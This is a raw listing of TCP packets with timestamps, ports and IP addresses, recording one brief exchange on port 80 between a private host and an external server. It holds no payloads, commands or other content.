Oct 7, 2024 18:43:19.251662016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251688957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251734018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251734018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251761913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251794100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251827002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251838923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251838923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251862049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251908064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251908064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253222942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253257036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253290892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253320932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253324986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253372908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253372908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253376007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253429890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253443956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253458977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253479004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253482103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253482103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253495932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253526926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253526926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253529072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253566027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253597975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253629923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253635883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253635883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253664017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253696918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253699064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253742933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253747940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253747940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253784895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253807068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253809929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253820896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253834963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253850937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253865004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.253880978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253880978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253921032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.253921032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.254323959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254405022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.254637957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254733086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254765987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254790068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.254801035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254836082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254846096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.254846096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.254904985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254937887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.254955053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.254955053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255006075 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255039930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255054951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255054951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255074024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255106926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255130053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255130053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255141973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255191088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255191088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255450010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255484104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255520105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255527973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255527973 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255534887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255553007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255568027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255582094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255604982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255604982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255615950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255651951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255651951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255791903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255806923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255806923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255826950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255851030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255877972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255911112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255959034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.255980015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255980015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.255990982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256022930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256026030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256032944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256097078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256131887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256150007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256180048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256190062 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256190062 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256215096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256246090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256273031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256280899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256315947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256333113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256333113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256349087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256373882 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256386042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256417990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256442070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256450891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256484985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256496906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256496906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256517887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256547928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256563902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256563902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256580114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256613970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256618977 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256618977 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256645918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256678104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256680965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256695032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256731987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256764889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256778955 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256778955 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256794930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256825924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256840944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256840944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256860018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256892920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256907940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256907940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256926060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.256954908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.256975889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257009029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257040977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257046938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257075071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257095098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257108927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257153034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257153034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257179022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257208109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257237911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257239103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257255077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257273912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257306099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257313013 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257313013 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257339954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257352114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257373095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257407904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257411957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257428885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257436991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.257469893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.257520914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445373058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445386887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445399046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445409060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445420027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445430040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445446968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445457935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445462942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445476055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445487022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445497990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445507050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445517063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445525885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445528030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445538998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445550919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445566893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445566893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445580959 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445728064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445738077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445748091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445758104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445769072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445771933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445785046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445796013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445806026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445815086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445815086 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445816994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445827961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445837975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445852041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445853949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445853949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445859909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.445916891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.445916891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448290110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448299885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448311090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448319912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448333025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448348999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448359966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448364019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448370934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448381901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448391914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448420048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448420048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448467016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448477983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448488951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448498964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448518038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448518038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448565006 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448597908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448612928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448623896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448632956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448643923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448653936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448664904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.448678970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448678970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448719978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.448719978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449466944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449486017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449496031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449534893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449599028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449696064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449706078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449717999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449728012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449752092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449775934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449846983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449857950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449873924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449883938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449893951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449896097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449906111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449917078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449925900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449935913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449935913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.449935913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449975967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.449976921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450181961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450192928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450202942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450212955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450222969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450237989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450248957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450258970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450268984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450270891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450272083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450279951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450290918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450300932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450311899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450311899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450311899 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450321913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450333118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450342894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450359106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450359106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450361013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450377941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450390100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450390100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450390100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450401068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.450443983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.450443983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.451878071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.451890945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.451896906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.451957941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.451957941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.451965094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.451978922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.451982021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.451992035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452002048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452003956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452059984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452156067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452167034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452178001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452188015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452198982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452208996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452219009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452227116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452234030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452234030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.452245951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452259064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452266932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.452266932 CEST	49699	80	192.168.2.7	46.8.231.109
